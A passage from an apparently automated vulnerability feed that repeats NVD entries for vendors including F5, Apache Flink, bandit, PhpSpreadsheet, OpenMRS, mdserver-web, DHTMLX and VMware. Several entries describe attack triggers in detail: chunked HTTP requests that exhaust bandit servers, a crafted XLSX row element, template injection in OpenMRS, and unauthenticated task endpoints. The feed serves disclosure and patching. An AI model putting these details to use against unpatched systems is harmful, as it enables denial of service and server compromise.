NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
When running in Appliance mode, an authenticated remote command injection vulnerability exists in an undisclosed iControl REST endpoint. A successful exploit can allow the attacker to cross a security boundary.  

Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An authenticated iControl SOAP user may be able to obtain information of other accounts.
https://kevwire.com/record/CVE-2026-35062
An authenticated iControl SOAP user may be able to obtain information of other accounts. (May 13, 2026).
An authenticated iControl SOAP user may be able to obtain information of other accounts. 

Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.
CVSS 7.1 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-35062).
Sources:
NVD CVE-2026-35062: https://nvd.nist.gov/vuln/detail/CVE-2026-35062
Vendor advisory (via NVD references): https://my.f5.com/manage/s/article/K000159021
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
An authenticated iControl SOAP user may be able to obtain information of other accounts. 

Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Code injection in SQL code generation in Apache Flink 1.15.0 through 1.20.x and 2.0.0 through 2.x allows authenticated users with query submission privileges to execute arbitrary...
https://kevwire.com/record/CVE-2026-35194
Code injection in SQL code generation in Apache Flink 1.15.0 through 1.20.x and 2.0.0 through 2.x allows authenticated users with query submission privileges to execute arbitrary... (May 15, 2026).
Code injection in SQL code generation in Apache Flink 1.15.0 through 1.20.x and 2.0.0 through 2.x allows authenticated users with query submission privileges to execute arbitrary code on TaskManagers via maliciously crafted SQL queries. The vulnerability affects JSON functions (1.15.0+) and LIKE expressions with ESCAPE clauses (1.17.0+). User-controlled strings are interpolated into generated Java code without proper escaping, allowing attackers to break out of string literals and inject arbitrary expressions.

Users are recommended to upgrade to either version 1.20.4, 2.0.2, 2.1.2 or 2.2.1, which fixes this issue.
CVSS 8.1 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-35194).
Sources:
NVD CVE-2026-35194: https://nvd.nist.gov/vuln/detail/CVE-2026-35194
Vendor advisory (via NVD references): https://lists.apache.org/thread/qh52bw4hhvy7n2owd8b3bt51mz0lvj9x
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Code injection in SQL code generation in Apache Flink 1.15.0 through 1.20.x and 2.0.0 through 2.x allows authenticated users with query submission privileges to execute arbitrary code on TaskManagers via maliciously crafted SQL queries. The vulnerability affects JSON functions (1.15.0+) and LIKE expressions with ESCAPE clauses (1.17.0+). User-controlled strings are interpolated into generated Java code without proper escaping, allowing attackers to break out of string literals and inject arbitrary expressions.

Users are recommended to upgrade to either version 1.20.4, 2.0.2, 2.1.2 or 2.2.1, which fixes this issue.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### ELECOM wireless LAN access point devices contain an OS command injection vulnerability in processing of ping_ip_addr parameter.
https://kevwire.com/record/CVE-2026-35506
ELECOM wireless LAN access point devices contain an OS command injection vulnerability in processing of ping_ip_addr parameter. (May 13, 2026).
ELECOM wireless LAN access point devices contain an OS command injection vulnerability in processing of ping_ip_addr parameter. If processing a crafted request sent by a logged-in user, an arbitrary OS command may be executed.
CVSS 8.6 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-35506).
Sources:
NVD CVE-2026-35506: https://nvd.nist.gov/vuln/detail/CVE-2026-35506
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
ELECOM wireless LAN access point devices contain an OS command injection vulnerability in processing of ping_ip_addr parameter. If processing a crafted request sent by a logged-in user, an arbitrary OS command may be executed.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### When the BIG-IP Configuration utility is configured to use Lightweight Directory Access Protocol (LDAP) authentication, undisclosed traffic can cause the httpd process to exhaust...
https://kevwire.com/record/CVE-2026-39455
When the BIG-IP Configuration utility is configured to use Lightweight Directory Access Protocol (LDAP) authentication, undisclosed traffic can cause the httpd process to exhaust... (May 13, 2026).
When the BIG-IP Configuration utility is configured to use Lightweight Directory Access Protocol (LDAP) authentication, undisclosed traffic can cause the httpd process to exhaust the available file descriptors.  Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.
CVSS 8.7 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-39455).
Sources:
NVD CVE-2026-39455: https://nvd.nist.gov/vuln/detail/CVE-2026-39455
Vendor advisory (via NVD references): https://my.f5.com/manage/s/article/K000160874
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
When the BIG-IP Configuration utility is configured to use Lightweight Directory Access Protocol (LDAP) authentication, undisclosed traffic can cause the httpd process to exhaust the available file descriptors.  Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Allocation of Resources Without Limits or Throttling vulnerability in mtrudel bandit allows unauthenticated remote denial of service via memory exhaustion.
https://kevwire.com/record/CVE-2026-39803
Allocation of Resources Without Limits or Throttling vulnerability in mtrudel bandit allows unauthenticated remote denial of service via memory exhaustion. (May 13, 2026).
Allocation of Resources Without Limits or Throttling vulnerability in mtrudel bandit allows unauthenticated remote denial of service via memory exhaustion.

The chunked clause of 'Elixir.Bandit.HTTP1.Socket':read_data/2 in lib/bandit/http1/socket.ex ignores the caller-supplied :length option when reading HTTP/1 chunked request bodies. Instead of capping the accumulated body at the configured limit (e.g. Plug.Parsers' default 8 MB), do_read_chunked_data!/5 buffers every received chunk into an iolist unconditionally and materializes the entire body as a single binary. The function always returns {:ok, body, ...}, so callers cannot interpose a 413 response.

Because Plug.Parsers runs before routing and authentication in the standard Phoenix endpoint, an unauthenticated attacker needs no valid route or credentials. Sending a single Transfer-Encoding: chunked POST request with an arbitrarily large body to any path causes the BEAM process to exhaust available memory and be terminated by the OS OOM killer.

The content-length path in the same function correctly enforces the limit and is not affected.

This issue affects bandit: from 1.4.0 before 1.11.1.
CVSS 8.7 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-39803).
Sources:
NVD CVE-2026-39803: https://nvd.nist.gov/vuln/detail/CVE-2026-39803
Vendor advisory (via NVD references): https://github.com/mtrudel/bandit/security/advisories/GHSA-9q9q-324x-93r2
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Allocation of Resources Without Limits or Throttling vulnerability in mtrudel bandit allows unauthenticated remote denial of service via memory exhaustion.

The chunked clause of 'Elixir.Bandit.HTTP1.Socket':read_data/2 in lib/bandit/http1/socket.ex ignores the caller-supplied :length option when reading HTTP/1 chunked request bodies. Instead of capping the accumulated body at the configured limit (e.g. Plug.Parsers' default 8 MB), do_read_chunked_data!/5 buffers every received chunk into an iolist unconditionally and materializes the entire body as a single binary. The function always returns {:ok, body, ...}, so callers cannot interpose a 413 response.

Because Plug.Parsers runs before routing and authentication in the standard Phoenix endpoint, an unauthenticated attacker needs no valid route or credentials. Sending a single Transfer-Encoding: chunked POST request with an arbitrarily large body to any path causes the BEAM process to exhaust available memory and be terminated by the OS OOM killer.

The content-length path in the same function correctly enforces the limit and is not affected.

This issue affects bandit: from 1.4.0 before 1.11.1.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Loop with Unreachable Exit Condition ('Infinite Loop') vulnerability in mtrudel bandit allows unauthenticated remote denial of service via worker process exhaustion.
https://kevwire.com/record/CVE-2026-39806
Loop with Unreachable Exit Condition ('Infinite Loop') vulnerability in mtrudel bandit allows unauthenticated remote denial of service via worker process exhaustion. (May 13, 2026).
Loop with Unreachable Exit Condition ('Infinite Loop') vulnerability in mtrudel bandit allows unauthenticated remote denial of service via worker process exhaustion.

'Elixir.Bandit.HTTP1.Socket':do_read_chunked_data!/5 in lib/bandit/http1/socket.ex terminates only when the last-chunk line 0\r\n is followed immediately by the empty trailer line \r\n. RFC 9112 §7.1.2 permits zero or more trailer fields between them. When trailers are present, none of the match clauses fit: the catch-all arm computes a negative to_read, calls read_available!/2, receives <<>> on timeout, and tail-recurses with unchanged state. The worker process is pinned for the lifetime of the TCP connection.

A handful of concurrent connections sending RFC-conformant chunked requests with trailer fields is sufficient to exhaust the Bandit worker pool and render the server unresponsive to all further traffic. No authentication, special headers, or large payload is required. Proxies such as NGINX and HAProxy legitimately forward trailer-bearing requests, so servers behind such proxies may be affected without any malicious client involvement.

This issue affects bandit: from 1.6.1 before 1.11.1.
CVSS 8.7 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-39806).
Sources:
NVD CVE-2026-39806: https://nvd.nist.gov/vuln/detail/CVE-2026-39806
Vendor advisory (via NVD references): https://github.com/mtrudel/bandit/security/advisories/GHSA-rf5q-vwxw-gmrf
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Loop with Unreachable Exit Condition ('Infinite Loop') vulnerability in mtrudel bandit allows unauthenticated remote denial of service via worker process exhaustion.

'Elixir.Bandit.HTTP1.Socket':do_read_chunked_data!/5 in lib/bandit/http1/socket.ex terminates only when the last-chunk line 0\r\n is followed immediately by the empty trailer line \r\n. RFC 9112 §7.1.2 permits zero or more trailer fields between them. When trailers are present, none of the match clauses fit: the catch-all arm computes a negative to_read, calls read_available!/2, receives <<>> on timeout, and tail-recurses with unchanged state. The worker process is pinned for the lifetime of the TCP connection.

A handful of concurrent connections sending RFC-conformant chunked requests with trailer fields is sufficient to exhaust the Bandit worker pool and render the server unresponsive to all further traffic. No authentication, special headers, or large payload is required. Proxies such as NGINX and HAProxy legitimately forward trailer-bearing requests, so servers behind such proxies may be affected without any malicious client involvement.

This issue affects bandit: from 1.6.1 before 1.11.1.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### ELECOM wireless LAN access point devices do not require authentication to access some specific URLs.
https://kevwire.com/record/CVE-2026-40621
ELECOM wireless LAN access point devices do not require authentication to access some specific URLs. (May 13, 2026).
ELECOM wireless LAN access point devices do not require authentication to access some specific URLs. The affected product may be operated without authentication.
CVSS 9.3 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-40621).
Sources:
NVD CVE-2026-40621: https://nvd.nist.gov/vuln/detail/CVE-2026-40621
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
ELECOM wireless LAN access point devices do not require authentication to access some specific URLs. The affected product may be operated without authentication.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### PhpSpreadsheet is a pure PHP library for reading and writing spreadsheet files.
https://kevwire.com/record/CVE-2026-40902
PhpSpreadsheet is a pure PHP library for reading and writing spreadsheet files. (May 12, 2026).
PhpSpreadsheet is a pure PHP library for reading and writing spreadsheet files. Prior to 1.30.4, 2.1.16, 2.4.5, 3.10.5, and 5.7.0, the XLSX reader's ColumnAndRowAttributes::readRowAttributes() method reads row numbers from XML attributes without validating them against the spreadsheet maximum row limit (AddressRange::MAX_ROW = 1,048,576). An attacker can craft a minimal XLSX file (~1.6KB) containing a <row r="999999999"/> element that inflates cachedHighestRow to 999,999,999, causing any subsequent row iteration to attempt ~1 billion loop cycles and exhaust CPU resources. This vulnerability is fixed in 1.30.4, 2.1.16, 2.4.5, 3.10.5, and 5.7.0.
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-40902).
Sources:
NVD CVE-2026-40902: https://nvd.nist.gov/vuln/detail/CVE-2026-40902
Vendor advisory (via NVD references): https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-7c6m-4442-2x6m
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
PhpSpreadsheet is a pure PHP library for reading and writing spreadsheet files. Prior to 1.30.4, 2.1.16, 2.4.5, 3.10.5, and 5.7.0, the XLSX reader's ColumnAndRowAttributes::readRowAttributes() method reads row numbers from XML attributes without validating them against the spreadsheet maximum row limit (AddressRange::MAX_ROW = 1,048,576). An attacker can craft a minimal XLSX file (~1.6KB) containing a <row r="999999999"/> element that inflates cachedHighestRow to 999,999,999, causing any subsequent row iteration to attempt ~1 billion loop cycles and exhaust CPU resources. This vulnerability is fixed in 1.30.4, 2.1.16, 2.4.5, 3.10.5, and 5.7.0.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Fleet's Helm deployer did not fully apply ServiceAccount impersonation in two code paths, allowing a tenant with git push access to a Fleet-monitored repository to read secrets...
https://kevwire.com/record/CVE-2026-41050
Fleet's Helm deployer did not fully apply ServiceAccount impersonation in two code paths, allowing a tenant with git push access to a Fleet-monitored repository to read secrets... (May 13, 2026).
Fleet's Helm deployer did not fully apply ServiceAccount impersonation in two code paths, allowing a tenant with git push access to a Fleet-monitored repository to read secrets from any namespace on every downstream cluster targeted by their `GitRepo`.
CVSS 9.9 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-41050).
Sources:
NVD CVE-2026-41050: https://nvd.nist.gov/vuln/detail/CVE-2026-41050
Vendor advisory (via NVD references): https://github.com/advisories/GHSA-765j-qfrp-hm3j
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Fleet's Helm deployer did not fully apply ServiceAccount impersonation in two code paths, allowing a tenant with git push access to a Fleet-monitored repository to read secrets from any namespace on every downstream cluster targeted by their `GitRepo`.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### OpenMRS is an open source electronic medical record system platform.
https://kevwire.com/record/CVE-2026-41258
OpenMRS is an open source electronic medical record system platform. (May 15, 2026).
OpenMRS is an open source electronic medical record system platform. From 2.7.0 to before 2.7.9 and 2.8.6, the ConceptReferenceRangeUtility.evaluateCriteria() method in OpenMRS Core evaluates database-stored criteria strings as Apache Velocity templates without any sandbox configuration. The VelocityEngine is initialized with only logging properties and noSecureUberspector, leaving the default UberspectImpl in place, which allows unrestricted Java reflection through template expressions. A user with the Manage Concepts privilege can store a malicious Velocity template expression in a concept's reference range criteria field. This payload is then executed automatically whenever a user or API call validates an observation against the affected concept. The Velocity context exposes $patient (the Person / Patient object), $obs (the Obs object), and $fn (the ConceptReferenceRangeUtility instance with access to the full OpenMRS service layer). This vulnerability is fixed in 2.7.9 and 2.8.6.
CVSS 9.1 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-41258).
Sources:
NVD CVE-2026-41258: https://nvd.nist.gov/vuln/detail/CVE-2026-41258
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
OpenMRS is an open source electronic medical record system platform. From 2.7.0 to before 2.7.9 and 2.8.6, the ConceptReferenceRangeUtility.evaluateCriteria() method in OpenMRS Core evaluates database-stored criteria strings as Apache Velocity templates without any sandbox configuration. The VelocityEngine is initialized with only logging properties and noSecureUberspector, leaving the default UberspectImpl in place, which allows unrestricted Java reflection through template expressions. A user with the Manage Concepts privilege can store a malicious Velocity template expression in a concept's reference range criteria field. This payload is then executed automatically whenever a user or API call validates an observation against the affected concept. The Velocity context exposes $patient (the Person / Patient object), $obs (the Obs object), and $fn (the ConceptReferenceRangeUtility instance with access to the full OpenMRS service layer). This vulnerability is fixed in 2.7.9 and 2.8.6.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### mdserver-web is a simple Linux panel.
https://kevwire.com/record/CVE-2026-41315
mdserver-web is a simple Linux panel. (May 14, 2026).
mdserver-web is a simple Linux panel. From 0.18.0 to 0.18.4, mdserver-web has a front-end unauthorized remote command execution vulnerability. Due to the lack of authentication on the /modify_crond and /start_task interfaces, it is possible to modify the default built-in scheduled tasks and start them, achieving RCE.
CVSS 9.3 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-41315).
Sources:
NVD CVE-2026-41315: https://nvd.nist.gov/vuln/detail/CVE-2026-41315
Vendor advisory (via NVD references): https://github.com/midoks/mdserver-web/security/advisories/GHSA-3h92-g9hr-xc25
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
mdserver-web is a simple Linux panel. From 0.18.0 to 0.18.4, mdserver-web has a front-end unauthorized remote command execution vulnerability. Due to the lack of authentication on the /modify_crond and /start_task interfaces, it is possible to modify the default built-in scheduled tasks and start them, achieving RCE.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### PDF Export Module used in DHTMLX's products Gantt and Scheduler is vulnerable to Path Traversal due to lack of HTML sanitization.
https://kevwire.com/record/CVE-2026-41552
PDF Export Module used in DHTMLX's products Gantt and Scheduler is vulnerable to Path Traversal due to lack of HTML sanitization. (May 15, 2026).
PDF Export Module used in DHTMLX's products Gantt and Scheduler is vulnerable to Path Traversal due to lack of HTML sanitization. An unauthenticated user could craft the html payload which could include
 local files from the server and display them in the generated PDF.  

This issue was fixed in PDF Export Module version 0.7.6.
CVSS 9.2 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-41552).
Sources:
NVD CVE-2026-41552: https://nvd.nist.gov/vuln/detail/CVE-2026-41552
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
PDF Export Module used in DHTMLX's products Gantt and Scheduler is vulnerable to Path Traversal due to lack of HTML sanitization. An unauthenticated user could craft the html payload which could include
 local files from the server and display them in the generated PDF.  

This issue was fixed in PDF Export Module version 0.7.6.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### PDF Export Module used in DHTMLX's products Gantt and Scheduler is vulnerable to Remote Code Execution due to lack of "data" parameter sanitization.
https://kevwire.com/record/CVE-2026-41553
PDF Export Module used in DHTMLX's products Gantt and Scheduler is vulnerable to Remote Code Execution due to lack of "data" parameter sanitization. (May 15, 2026).
PDF Export Module used in DHTMLX's products Gantt and Scheduler is vulnerable to Remote Code Execution due to lack of "data" parameter sanitization. An unauthenticated attacker can inject the malicious JavaScript code to the parameter whose value is processed by Node.js and subsequently executed. This can lead to server compromise.

This issue was fixed in PDF Export Module version 0.7.6.
CVSS 10.0 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-41553).
Sources:
NVD CVE-2026-41553: https://nvd.nist.gov/vuln/detail/CVE-2026-41553
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
PDF Export Module used in DHTMLX's products Gantt and Scheduler is vulnerable to Remote Code Execution due to lack of "data" parameter sanitization. An unauthenticated attacker can inject the malicious JavaScript code to the parameter whose value is processed by Node.js and subsequently executed. This can lead to server compromise.

This issue was fixed in PDF Export Module version 0.7.6.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Exposure of sensitive information to an unauthorized actor in Microsoft Authenticator allows an unauthorized attacker to disclose information over a network.
https://kevwire.com/record/CVE-2026-41615
Exposure of sensitive information to an unauthorized actor in Microsoft Authenticator allows an unauthorized attacker to disclose information over a network. (May 14, 2026).
Exposure of sensitive information to an unauthorized actor in Microsoft Authenticator allows an unauthorized attacker to disclose information over a network.
CVSS 9.6 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-41615).
Sources:
NVD CVE-2026-41615: https://nvd.nist.gov/vuln/detail/CVE-2026-41615
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41615
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Exposure of sensitive information to an unauthorized actor in Microsoft Authenticator allows an unauthorized attacker to disclose information over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### VMware Fusion contains a TOCTOU (Time-of-check Time-of-use) vulnerability that occurs during an operation performed by a SETUID binary.
https://kevwire.com/record/CVE-2026-41702
VMware Fusion contains a TOCTOU (Time-of-check Time-of-use) vulnerability that occurs during an operation performed by a SETUID binary. (May 15, 2026).
VMware Fusion contains a TOCTOU (Time-of-check Time-of-use) vulnerability that occurs during an operation performed by a SETUID binary. A malicious actor with local non-administrative user privileges may exploit this vulnerability to escalate privileges to root on the system where Fusion is installed.
